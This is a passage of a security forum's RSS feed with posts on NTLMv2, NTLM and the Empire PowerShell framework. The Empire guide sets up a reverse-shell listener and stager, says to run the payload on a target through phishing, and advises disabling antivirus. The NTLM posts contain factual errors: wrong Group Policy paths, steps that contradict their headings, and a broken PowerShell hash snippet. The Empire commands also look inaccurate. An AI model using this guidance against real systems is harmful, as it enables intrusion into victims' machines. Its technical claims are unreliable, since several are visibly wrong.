                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/get-process-command-in-powershell/</guid>
                    </item>
				                    <item>
                        <title>NTLMv2</title>
                        <link>https://www.hacktheforum.com/windows-os/ntlmv2/</link>
                        <pubDate>Thu, 12 Dec 2024 19:00:43 +0000</pubDate>
                        <description><![CDATA[NTLMv2 (NT LAN Manager version 2) is an improved version of the NTLM authentication protocol that is used by Microsoft Windows for network authentication. It is more secure than the older NT...]]></description>
                        <content:encoded><![CDATA[<p><strong>NTLMv2</strong> (NT LAN Manager version 2) is an improved version of the <strong>NTLM</strong> authentication protocol that is used by Microsoft Windows for network authentication. It is more secure than the older <strong>NTLMv1</strong> and addresses many of the weaknesses of its predecessor. However, while NTLMv2 is significantly more secure, it still has limitations compared to <strong>Kerberos</strong>, which is the preferred authentication protocol in modern Windows environments.</p>
<h3>Key Features of NTLMv2:</h3>
<ol>
<li>
<p><strong>Stronger Hashing Algorithm (HMAC-MD5)</strong>:</p>
<ul>
<li>NTLMv2 uses <strong>HMAC-MD5</strong> (Hash-based Message Authentication Code with MD5) to generate the response to the challenge, which is more secure than the older <strong>MD4</strong> hash used in NTLMv1.</li>
<li>HMAC-MD5 provides better resistance to attacks like <strong>birthday attacks</strong> and <strong>rainbow table attacks</strong>.</li>
</ul>
</li>
<li>
<p><strong>Increased Security with Data Encryption</strong>:</p>
<ul>
<li>NTLMv2 includes more data in the challenge-response mechanism, which strengthens its resistance to attacks such as <strong>man-in-the-middle (MITM)</strong> attacks and <strong>replay attacks</strong>.</li>
<li>The challenge-response process now involves the server and client sending additional information such as timestamps, making it more difficult for attackers to forge a valid response.</li>
</ul>
</li>
<li>
<p><strong>Enhanced Protection Against Replay Attacks</strong>:</p>
<ul>
<li>One of the significant improvements of NTLMv2 is protection against <strong>replay attacks</strong> (where an attacker captures and replays a previous authentication message to impersonate a user).</li>
<li>The inclusion of time-based information (timestamps) in NTLMv2 helps to ensure that authentication messages are not replayed.</li>
</ul>
</li>
<li>
<p><strong>Session Security (Signing and Sealing)</strong>:</p>
<ul>
<li>NTLMv2 includes support for <strong>message signing</strong> and <strong>sealing</strong>, which help ensure the integrity and confidentiality of the data being transferred between the client and server during the authentication process.</li>
<li>Signing ensures that messages cannot be tampered with, while sealing provides encryption for data to protect against eavesdropping.</li>
</ul>
</li>
<li>
<p><strong>Support for Modern Windows Environments</strong>:</p>
<ul>
<li>While Kerberos is the default authentication protocol in modern Windows Active Directory environments, NTLMv2 is still supported for compatibility with legacy systems and applications that cannot use Kerberos.</li>
</ul>
</li>
<li>
<p><strong>Larger Challenge/Response Size</strong>:</p>
<ul>
<li>NTLMv2 uses a <strong>128-bit challenge</strong> and a <strong>response</strong> size of 16 bytes, providing more complexity compared to NTLMv1.</li>
</ul>
</li>
<li>
<p><strong>Improved Client-Server Communication</strong>:</p>
<ul>
<li>The communication between the client and server in NTLMv2 is more secure because both sides use the <strong>user’s domain, username, and a random challenge</strong> to generate the response, rather than relying solely on the password hash.</li>
</ul>
</li>
</ol>
<h3>NTLMv2 Authentication Process:</h3>
<p>The NTLMv2 authentication process involves several steps, typically seen when a client requests access to a resource and needs to authenticate to a server.</p>
<ol>
<li>
<p><strong>Initial Request</strong>:</p>
<ul>
<li>The client sends an authentication request to the server.</li>
</ul>
</li>
<li>
<p><strong>Server Sends Challenge</strong>:</p>
<ul>
<li>The server sends a challenge to the client. This challenge is a randomly generated string that is used to create the response.</li>
<li>The challenge includes the domain name, username, and a <strong>timestamp</strong> to ensure that the authentication is time-bound.</li>
</ul>
</li>
<li>
<p><strong>Client Response</strong>:</p>
<ul>
<li>The client uses the challenge, their password hash (the NTLMv2 hash), and the timestamp to generate a response.</li>
<li>The client sends the hashed response to the server.</li>
<li>The response also includes the <strong>NTLMv2 session key</strong>.</li>
</ul>
</li>
<li>
<p><strong>Server Validation</strong>:</p>
<ul>
<li>The server checks the response by generating its own response to the challenge using the stored hash of the user’s password.</li>
<li>If the response matches, authentication is successful.</li>
</ul>
</li>
<li>
<p><strong>Mutual Authentication (Optional)</strong>:</p>
<ul>
<li>The server may send a final response to the client to confirm that the server is legitimate (i.e., preventing <strong>man-in-the-middle (MITM)</strong> attacks).</li>
</ul>
</li>
</ol>
<h3>NTLMv2 Hashes:</h3>
<p>NTLMv2 uses a more secure method of hashing than NTLMv1:</p>
<ul>
<li><strong>NTLMv2 Response</strong>:
<ul>
<li>
<p>The NTLMv2 response is derived from the <strong>NTLM hash</strong> of the password and additional data, including a timestamp and challenge from the server. It is not easily reversible, making it more resistant to attacks.</p>
</li>
<li>
<p>NTLMv2 hashing involves:</p>
<ol>
<li><strong>Client's password</strong>: The password is hashed using <strong>MD4</strong> (the same as NTLM) to produce the <strong>NTLM hash</strong>.</li>
<li><strong>Challenge information</strong>: The server sends a random challenge and a <strong>timestamp</strong> that is combined with the hash.</li>
<li><strong>HMAC-MD5</strong>: The resulting data is hashed using <strong>HMAC-MD5</strong> to produce the NTLMv2 response.</li>
</ol>
</li>
</ul>
</li>
</ul>
<h3>NTLMv2 Security Enhancements:</h3>
<ol>
<li>
<p><strong>Prevention of NTLMv1 Downgrade</strong>:</p>
<ul>
<li>NTLMv2 reduces the risk of attackers forcing a downgrade to the weaker NTLMv1 protocol, as many of the security improvements of NTLMv2 are not present in NTLMv1.</li>
<li>Systems can be configured to reject NTLMv1 and enforce the use of NTLMv2 for authentication.</li>
</ul>
</li>
<li>
<p><strong>Protection Against Relay Attacks</strong>:</p>
<ul>
<li>NTLMv2 incorporates protection against relay attacks (where an attacker intercepts and relays authentication messages to another server), primarily by including timestamp information.</li>
</ul>
</li>
<li>
<p><strong>Stronger Password Hashes</strong>:</p>
<ul>
<li>The use of <strong>HMAC-MD5</strong> in NTLMv2 provides a better cryptographic foundation than the weaker <strong>MD4</strong> used in NTLMv1.</li>
</ul>
</li>
</ol>
<h3>Common Attacks on NTLMv2:</h3>
<p>While NTLMv2 is more secure than NTLMv1, it is still susceptible to certain types of attacks, particularly in environments where the protocol is not configured securely:</p>
<ol>
<li>
<p><strong>Pass-the-Hash Attacks</strong>:</p>
<ul>
<li>If an attacker obtains an NTLMv2 hash (e.g., through a system compromise), they can authenticate as the user without needing to know the user’s plaintext password. This is one of the main security concerns with NTLMv2.</li>
</ul>
</li>
<li>
<p><strong>NTLM Relay Attacks</strong>:</p>
<ul>
<li>Attackers may intercept NTLM authentication requests and relay them to other servers, potentially gaining unauthorized access if the authentication mechanism is not adequately protected (e.g., through SMB signing).</li>
</ul>
</li>
<li>
<p><strong>Brute Force and Dictionary Attacks</strong>:</p>
<ul>
<li>While NTLMv2 hashes are stronger than NTLMv1, they are still vulnerable to brute-force or dictionary attacks if the password is weak. Attackers may attempt to guess the password by hashing potential candidates and comparing them to the captured NTLMv2 response.</li>
</ul>
</li>
<li>
<p><strong>Kerberos and NTLM Coexistence</strong>:</p>
<ul>
<li>In environments where both <strong>Kerberos</strong> and NTLMv2 are used, attackers may exploit NTLM vulnerabilities while bypassing the stronger security of Kerberos. This makes it crucial to monitor for suspicious NTLM traffic and configure the network to prioritize Kerberos.</li>
</ul>
</li>
</ol>
<h3>How to Disable NTLMv2 (or Limit Its Usage) on Windows:</h3>
<p>For enhanced security, especially in Active Directory environments, it is recommended to restrict or disable NTLMv2 and enforce the use of Kerberos for authentication when possible.</p>
<ol>
<li>
<p><strong>Enforce NTLMv2 only (disable NTLMv1)</strong>: You can disable NTLMv1 and enforce NTLMv2 in Group Policy:</p>
<ul>
<li>Open <strong>Group Policy Management</strong>.</li>
<li>Navigate to <strong>Computer Configuration &gt; Administrative Templates &gt; System &gt; Netlogon &gt; DC Locator DNS Records</strong>.</li>
<li>Enable the setting <strong>"Restrict NTLM: NTLM authentication in this domain"</strong> and set it to <strong>"NTLMv2 only"</strong>.</li>
</ul>
</li>
<li>
<p><strong>Disable NTLM entirely</strong>: To completely disable NTLM authentication, which will force the system to rely solely on Kerberos:</p>
<ul>
<li>In <strong>Group Policy</strong>, under <strong>Windows Settings &gt; Security Settings &gt; Local Policies &gt; Security Options</strong>, disable <strong>"Network security: LAN Manager authentication level"</strong> and set it to <strong>"Send NTLMv2 response only"</strong> or <strong>"Send NTLMv2 response only"</strong>.</li>
</ul>
</li>
</ol>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/ntlmv2/</guid>
                    </item>
				                    <item>
                        <title>NTLM (NT LAN Manager)</title>
                        <link>https://www.hacktheforum.com/windows-os/ntlm-nt-lan-manager/</link>
                        <pubDate>Thu, 12 Dec 2024 18:55:00 +0000</pubDate>
                        <description><![CDATA[NTLM (NT LAN Manager) is a suite of Microsoft security protocols used for authentication, integrity, and confidentiality in Windows-based networks. It is commonly used in older versions of W...]]></description>
                        <content:encoded><![CDATA[<p><strong>NTLM</strong> (NT LAN Manager) is a suite of Microsoft security protocols used for authentication, integrity, and confidentiality in Windows-based networks. It is commonly used in older versions of Windows or in environments that still rely on legacy systems. NTLM was replaced by <strong>Kerberos</strong> as the default authentication protocol in newer versions of Windows, but NTLM remains in use for compatibility with older systems or specific configurations.</p>
<h3>Key Concepts of NTLM:</h3>
<ol>
<li>
<p><strong>Authentication Protocol</strong>: NTLM is a challenge-response authentication protocol, where the client and server perform a series of steps to authenticate a user without transmitting the user's password directly over the network.</p>
</li>
<li>
<p><strong>Components</strong>: NTLM consists of several versions:</p>
<ul>
<li><strong>NTLMv1</strong>: Older and less secure, vulnerable to various attacks like the <strong>birthday attack</strong>.</li>
<li><strong>NTLMv2</strong>: Improved version, provides better security through stronger hashing and additional protections.</li>
</ul>
</li>
<li>
<p><strong>Steps in NTLM Authentication</strong>: NTLM authentication works as a series of challenge-response exchanges. The process generally involves the following steps:</p>
<ul>
<li><strong>Client Request</strong>: The client sends an authentication request to the server.</li>
<li><strong>Server Challenge</strong>: The server generates a random challenge and sends it to the client.</li>
<li><strong>Client Response</strong>: The client hashes the challenge along with the user’s password hash and sends the response back to the server.</li>
<li><strong>Server Validation</strong>: The server compares the response to its own calculation using the stored hash of the password. If they match, authentication is successful.</li>
</ul>
</li>
<li>
<p><strong>NTLM Hash</strong>: NTLM does not store passwords in plaintext but uses hashes. The process involves hashing the password using MD4 (NTLMv1) or HMAC-MD5 (NTLMv2) along with other data (like the challenge). The resulting NTLM hash is then stored and used for comparison during authentication.</p>
<p>There are two main hashes used in NTLM:</p>
<ul>
<li><strong>NTLM Hash</strong>: A hash of the password using MD4.</li>
<li><strong>LM Hash</strong>: A legacy hash, less secure and generally disabled in modern systems.</li>
</ul>
</li>
<li>
<p><strong>Security Considerations</strong>: While NTLM can provide secure authentication, it has many weaknesses:</p>
<ul>
<li><strong>Weak Hashing (NTLMv1)</strong>: NTLMv1 uses the MD4 hashing algorithm, which is now considered weak and vulnerable to rainbow table attacks.</li>
<li><strong>Pass-the-Hash Attacks</strong>: Attackers who obtain an NTLM hash (either from memory or network traffic) can authenticate as the user without needing the actual password.</li>
<li><strong>Replay Attacks</strong>: Because the challenge-response process is predictable, NTLM can be vulnerable to replay attacks if additional security layers (like signing or encryption) are not enabled.</li>
<li><strong>No Mutual Authentication</strong>: NTLM does not provide mutual authentication, meaning the client cannot verify the server’s identity, which exposes the system to man-in-the-middle (MITM) attacks.</li>
</ul>
</li>
<li>
<p><strong>NTLMv2</strong>: NTLMv2 improves upon NTLMv1 by using stronger hashing mechanisms (HMAC-MD5 instead of MD4) and adding extra measures to resist certain types of attacks. It also requires more data in the authentication process, making it more difficult for attackers to forge responses.</p>
<ul>
<li><strong>NTLMv2 features</strong>:
<ul>
<li>More robust hashing.</li>
<li>Support for modern encryption.</li>
<li>Protection against replay attacks and other types of vulnerabilities present in NTLMv1.</li>
</ul>
</li>
</ul>
</li>
</ol>
<h3>Usage in Active Directory:</h3>
<p>In a typical Active Directory environment, NTLM is used for authentication in situations where Kerberos cannot be used, such as:</p>
<ul>
<li>When the client or server is running an older version of Windows.</li>
<li>When the client is part of a workgroup (as opposed to being in an Active Directory domain).</li>
<li>In mixed environments where NTLM is enabled alongside Kerberos.</li>
</ul>
<h3>NTLM in Penetration Testing:</h3>
<p>NTLM is often targeted in penetration testing because of its weaknesses:</p>
<ul>
<li><strong>Pass-the-Hash Attacks</strong>: If an attacker can obtain the NTLM hash of a user's password (e.g., from memory or a compromised system), they can authenticate to other systems without needing to crack the password.</li>
<li><strong>NTLM Relay Attacks</strong>: Attackers can intercept and relay authentication attempts, allowing them to authenticate to other systems by exploiting NTLM.</li>
<li><strong>Hash Cracking</strong>: Attackers may attempt to crack NTLM hashes using brute force or dictionary attacks, especially if weak passwords are used.</li>
</ul>
<h3>NTLM Authentication in Windows:</h3>
<p>NTLM is still enabled by default on Windows, especially in legacy systems or configurations where Kerberos is not feasible. However, it's generally recommended to disable NTLM when possible and use Kerberos instead, as it is more secure.</p>
<p><strong>To disable NTLM authentication</strong> in Windows, you can configure group policies:</p>
<ol>
<li>
<p><strong>Disable NTLM Authentication</strong>:</p>
<ul>
<li>Go to the Group Policy Management Editor.</li>
<li>Navigate to: <code>Computer Configuration -&gt; Administrative Templates -&gt; System -&gt; Netlogon -&gt; DC Locator DNS Records</code>.</li>
<li>Set the appropriate settings to block or limit NTLM authentication.</li>
</ul>
</li>
<li>
<p><strong>Force Kerberos Authentication</strong>: Ensure that Kerberos is configured and used by default, which provides more robust security features such as mutual authentication and ticket-based authentication.</p>
</li>
</ol>
<h3>Example of NTLM Authentication (with PowerShell):</h3>
<p>You can use PowerShell or other tools to capture NTLM hashes and test for vulnerabilities. Here’s an example of how NTLM hashes might be handled using PowerShell:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false"># Example: NTLM Hash extraction using PowerShell
$Username = "user"
$Password = "password"
$NTLMHash = (New-Object System.Security.Cryptography.MD4CryptoServiceProvider).ComputeHash(::UTF8.GetBytes($Password))
$NTLMHash | Format-Hex
</pre>
</div>
</div>
<p>This code doesn't directly generate NTLM hashes but can be adapted for various authentication testing scenarios.</p>
<h3>NTLM Hashes and Tools:</h3>
<p>In penetration testing, tools like <strong>Mimikatz</strong> are frequently used to extract NTLM hashes from memory or the SAM database. Tools like <strong>Responder</strong> can also be used for NTLM relay attacks.</p>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/ntlm-nt-lan-manager/</guid>
                    </item>
				                    <item>
                        <title>Installation of Empire – PowerShell in Windows OS</title>
                        <link>https://www.hacktheforum.com/windows-os/installation-of-empire-powershell-in-windows-os/</link>
                        <pubDate>Thu, 12 Dec 2024 18:38:30 +0000</pubDate>
                        <description><![CDATA[To install Empire on Windows and set up PowerShell agents, you can follow these steps. Please note that Empire is a post-exploitation framework and works best with a server-client architectu...]]></description>
                        <content:encoded><![CDATA[<p>To install <strong>Empire</strong> on <strong>Windows</strong> and set up PowerShell agents, you can follow these steps. Please note that Empire is a post-exploitation framework and works best with a server-client architecture, so you'll need to set up the server (Empire) and create agents that will be used to interact with the target system. Below is a step-by-step guide to setting up Empire on a <strong>Windows machine</strong>:</p>
<h3>Prerequisites:</h3>
<ol>
<li><strong>Windows 10 or later</strong> machine for installation.</li>
<li><strong>Python 3.6+</strong> (Python 2.x is deprecated).</li>
<li><strong>Git</strong> for cloning the repository.</li>
<li><strong>PowerShell</strong> (it comes preinstalled on Windows).</li>
<li><strong>Windows Defender or any antivirus software</strong> may interfere with Empire, so it might need to be disabled or excluded (if safe to do so).</li>
</ol>
<h3>Step 1: Install Python and Dependencies</h3>
<ol>
<li>
<p><strong>Install Python 3.x</strong>: Download and install Python 3 from <a href="https://www.python.org/downloads/" target="_new" rel="noopener"><span>python</span><span>.org</span></a>. During installation, ensure you check the box that says <strong>"Add Python to PATH"</strong>.</p>
</li>
<li>
<p><strong>Install Git</strong>: Download and install Git from <a href="https://git-scm.com/download/win" target="_new" rel="noopener"><span>git</span><span>-scm</span><span>.com</span></a>. This is required to clone the Empire repository.</p>
</li>
<li>
<p><strong>Install Dependencies</strong>: Open a <strong>Command Prompt</strong> or <strong>PowerShell</strong> and check if Python is installed correctly:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">python --version
</pre>
</div>
</div>
<p>Also, check if <code>pip</code> (Python's package manager) is installed:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">pip --version
</pre>
</div>
</div>
<p>If Python is installed successfully, you can install the dependencies by running:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">pip install -r requirements.txt
</pre>
</div>
</div>
</li>
</ol>
<h3>Step 2: Clone the Empire Repository</h3>
<ol>
<li><strong>Clone the Empire Repository</strong> from GitHub: Open PowerShell or Command Prompt and run:
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">git clone https://github.com/EmpireProject/Empire.git
cd Empire
</pre>
</div>
</div>
</li>
</ol>
<h3>Step 3: Set Up a Virtual Environment (Optional but Recommended)</h3>
<p>Creating a virtual environment helps to isolate dependencies for this project. Here's how you can do it:</p>
<ol>
<li>
<p><strong>Create a virtual environment</strong> in the <code>Empire</code> folder:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">python -m venv empire-venv
</pre>
</div>
</div>
</li>
<li>
<p><strong>Activate the virtual environment</strong>: For <strong>PowerShell</strong>, run:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">.\empire-venv\Scripts\Activate
</pre>
</div>
</div>
<p>For <strong>Command Prompt</strong>, run:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">empire-venv\Scripts\activate
</pre>
</div>
</div>
</li>
</ol>
<h3>Step 4: Install Required Libraries</h3>
<p>Once the virtual environment is activated, install the necessary dependencies:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">pip install -r requirements.txt
</pre>
</div>
</div>
<p>This will install all required Python packages.</p>
<h3>Step 5: Start Empire</h3>
<p>To start the Empire server, run the following command from within the <code>Empire</code> directory:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">.\empire
</pre>
</div>
</div>
<p>This should start the Empire console and you will see something like:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">Empire - (c) 2016-2020 By The Empire Team
           &lt;------ Empire 3.x ------&gt;
</pre>
</div>
</div>
<h3>Step 6: Set Up a Listener for PowerShell Agents</h3>
<p>Once the Empire server is running, you need to configure a listener to interact with agents. You can create an HTTP or HTTPS listener for reverse shell connections.</p>
<ol>
<li>
<p><strong>List listeners</strong>: In the Empire console, type the following command to list available listeners:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">listeners
</pre>
</div>
</div>
</li>
<li>
<p><strong>Create a listener</strong>: Use the following command to create a reverse TCP listener:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">usemodule listeners/http
set LHOST &lt;Your IP Address&gt;
set LPORT 8080  # (or any port you want to use)
execute
</pre>
</div>
</div>
<p>Alternatively, you can use other listeners like <code>reverse_https</code> if needed.</p>
</li>
</ol>
<h3>Step 7: Generate a PowerShell Agent</h3>
<p>Now you can generate the PowerShell agent payload that will connect back to your listener.</p>
<ol>
<li>
<p><strong>Generate the PowerShell shell</strong>: From the Empire console, use the following command:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">usemodule stagers/powershell/shell_reverse_tcp
</pre>
</div>
</div>
</li>
<li>
<p><strong>Configure the agent</strong>: Set the required options like <code>LHOST</code> (your IP) and <code>LPORT</code> (the port you used for the listener):</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">set LHOST &lt;Your IP Address&gt;
set LPORT 8080  # Or the port you set in the listener
generate
</pre>
</div>
</div>
</li>
<li>
<p><strong>Copy the generated PowerShell script</strong>: The <code>generate</code> command will output a PowerShell script. Copy the script.</p>
</li>
</ol>
<h3>Step 8: Execute the PowerShell Agent</h3>
<p>To establish a session with the target system, run the generated PowerShell script on the target machine. This could be done manually or through social engineering (e.g., phishing).</p>
<ol>
<li>Open a <strong>PowerShell window</strong> on the target machine.</li>
<li>Paste and execute the generated PowerShell script.</li>
</ol>
<p>Once the script is executed on the target, it will create a session that connects back to the Empire server.</p>
<h3>Step 9: Interact with the PowerShell Agent</h3>
<p>After the agent connects back, you can interact with it:</p>
<ol>
<li>
<p><strong>List sessions</strong>: To view active sessions, type:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">sessions
</pre>
</div>
</div>
</li>
<li>
<p><strong>Interact with a session</strong>: To interact with a session, type:</p>
<div class="contain-inline-size rounded-md border- border-token-border-medium relative bg-token-sidebar-surface-primary dark:bg-gray-950">
<div class="flex items-center text-token-text-secondary px-4 py-2 text-xs font-sans justify-between rounded-t-md h-9 bg-token-sidebar-surface-primary dark:bg-token-main-surface-secondary select-none">
<pre contenteditable="false">interact &lt;session_id&gt;
</pre>
</div>
</div>
</li>
<li>
<p><strong>Execute commands</strong> on the compromised system or use post-exploitation modules to gather information, escalate privileges, etc.</p>
</li>
</ol>
<h3>Troubleshooting</h3>
<ul>
<li><strong>Firewall or Antivirus</strong>: Ensure that firewalls or antivirus software (including Windows Defender) are not blocking your listener or the PowerShell script execution. You may need to disable or configure exclusions for these services.</li>
<li><strong>Python Compatibility</strong>: If you encounter issues with Python packages, make sure you're using a compatible version of Python and have installed the required libraries.</li>
<li><strong>Listener Issues</strong>: If the agent doesn't connect back, verify that your listener IP and port are correctly configured and open on your firewall.</li>
</ul>
<h3>Step 10: Stop Empire</h3>
<p>To stop the Empire server, type <code>exit</code> or press <code>Ctrl+C</code> in the console.</p>]]></content:encoded>
						                            <category domain="https://www.hacktheforum.com/windows-os/">Windows OS</category>                        <dc:creator>kajal</dc:creator>
                        <guid isPermaLink="true">https://www.hacktheforum.com/windows-os/installation-of-empire-powershell-in-windows-os/</guid>
                    </item>
				                    <item>
                        <title>Empire – PowerShell</title>
                        <link>https://www.hacktheforum.com/windows-os/empire-powershell/</link>
                        <pubDate>Thu, 12 Dec 2024 18:31:28 +0000</pubDate>
                        <description><![CDATA[Empire is a post-exploitation framework used for advanced penetration testing and red teaming, and it is built primarily on PowerShell. It leverages PowerShell scripts and the .NET framework...]]></description>
                        <content:encoded><![CDATA[<p><strong>Empire</strong> is a post-exploitation framework used for advanced penetration testing and red teaming, and it is built primarily on <strong>PowerShell</strong>. It leverages PowerShell scripts and the .NET framework to execute commands and gain persistent access to remote systems during a penetration test. Empire can be used by attackers and defenders for training, testing, or defensive analysis of PowerShell-based attacks.</p>
<h3>Key Aspects of Empire (PowerShell-based):</h3>
<ol>
<li>
<p><strong>Post-Exploitation Framework</strong>: Empire is specifically designed for post-exploitation tasks. After successfully gaining access to a target system (usually through an initial exploit), Empire is used to maintain access, escalate privileges, move laterally, and exfiltrate data.</p>
</li>
<li>
<p><strong>PowerShell Agent</strong>: Empire primarily uses <strong>PowerShell-based agents</strong> to establish communication between the attacker's machine and the compromised system. These agents run as PowerShell scripts, which makes them highly stealthy and effective in environments where PowerShell is widely available and allowed.</p>
</li>
<li>
<p><strong>Modules for Offensive Actions</strong>: Empire includes numerous modules to perform actions like:</p>
<ul>
<li><strong>Privilege escalation</strong>: Elevate privileges on a compromised machine.</li>
<li><strong>Lateral movement</strong>: Spread across a network by accessing other systems.</li>
<li><strong>Credential harvesting</strong>: Gather login credentials from the target system.</li>
<li><strong>Fileless malware</strong>: Execute code directly in memory (without writing it to disk).</li>
<li><strong>Command and Control (C2)</strong>: Control compromised systems via encrypted communication channels.</li>
</ul>
</li>
<li>
<p><strong>Flexibility with Agents</strong>: Empire supports multiple types of agents:</p>
<ul>
<li><strong>Stagers</strong>: Small scripts or payloads that initially infect the target system and download more significant payloads.</li>
<li><strong>Listeners</strong>: Components that listen for incoming connections from infected systems, allowing attackers to maintain communication with the compromised machine.</li>
<li><strong>Execution</strong>: Once a payload is executed on the target system, the agent can carry out a variety of post-exploitation tasks.</li>
</ul>
</li>
<li>
<p><strong>PowerShell's Role in Stealth and Persistence</strong>:</p>
<ul>
<li><strong>Memory-based execution</strong>: One of the core benefits of Empire is its ability to execute code entirely in memory, making detection more challenging. PowerShell scripts don't necessarily write to disk, which allows attackers to evade traditional antivirus detection.</li>
<li><strong>PowerShell Remoting</strong>: Empire can use PowerShell remoting features to remotely execute commands across a network. This is highly effective in environments where PowerShell is already trusted.</li>
</ul>
</li>
</ol>
<h3>How Empire Uses PowerShell:</h3>
<ul>
<li>
<p><strong>PowerShell Scripts</strong>: The core functionality of Empire relies on PowerShell scripts to carry out commands on the victim machine. These scripts allow for remote execution, system information gathering, keylogging, credential theft, and other advanced exploitation techniques.</p>
</li>
<li>
<p><strong>In-Memory Execution</strong>: Rather than saving files to disk, Empire can execute payloads and commands directly in memory using PowerShell. This reduces the chance of detection by traditional file-based defenses (like antivirus).</p>
</li>
<li>
<p><strong>Command and Control (C2) Server</strong>: Empire uses an encrypted communications channel to receive commands from the attacker. The victim machine, once compromised, becomes a "listener" that waits for instructions from the C2 server. These commands are executed via PowerShell scripts that are transmitted across the channel.</p>
</li>
</ul>
<h3>Example Workflow in Empire:</h3>
<ol>
<li><strong>Initial Access</strong>: The attacker delivers an initial payload to the target system (could be via phishing, exploit, etc.).</li>
<li><strong>Agent Setup</strong>: The payload downloads and executes a PowerShell agent on the compromised machine. This agent connects back to the attacker's C2 server.</li>
<li><strong>Post-Exploitation</strong>:
<ul>
<li><strong>Elevate privileges</strong>: The attacker uses Empire's modules to escalate privileges (for example, running PowerShell code to exploit a vulnerability).</li>
<li><strong>Lateral Movement</strong>: The attacker uses Empire's PowerShell-based tools to move between systems on the same network.</li>
<li><strong>Gathering Information</strong>: The attacker uses PowerShell commands to pull sensitive data from the victim machine (user credentials, system info, etc.).</li>
</ul>
</li>
</ol>
